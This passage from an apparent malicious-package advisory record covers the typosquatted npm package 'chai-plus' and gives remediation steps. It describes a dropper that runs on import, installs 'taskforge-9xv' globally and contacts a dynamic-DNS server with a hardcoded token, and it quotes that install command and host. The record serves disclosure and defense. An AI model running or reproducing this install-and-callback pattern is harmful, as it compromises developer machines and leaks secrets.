If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-14533/ (Markdown: https://insights.sbomify.com/MAL-2026-14533/index.md)","id":"MAL-2026-14533","markdown":"https://insights.sbomify.com/MAL-2026-14533/index.md","name":"MAL-2026-14533","record":{"aliases":["GHSA-2r27-f59g-4hcx"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"On require('chai-plus'), a top-level IIFE in lib/index.js unconditionally invokes Bootstrap.execute(), which spawns `npm install -g taskforge-9xv@1.3.0` and then executes `taskforge-9xv` with hardcoded arguments `--origin-server http://coolblast.zapto.org:8888/api/x-handler` and a hardcoded auth token. The destination is a dynamic-DNS host (zapto.org) over plain HTTP, unrelated to the package's advertised purpose as a zero-dependency assertion library. Comments in lib/bootstrap.js state the operation is 'user-invoked' and 'NOT automatic', contradicting the actual auto-execution at module load; errors from the dropper are silently swallowed. The package name resembles the popular `chai` assertion library, broadening the pool of developers likely to install it.\n\nAny computer that has this package installed or running should be considered fully compromised.
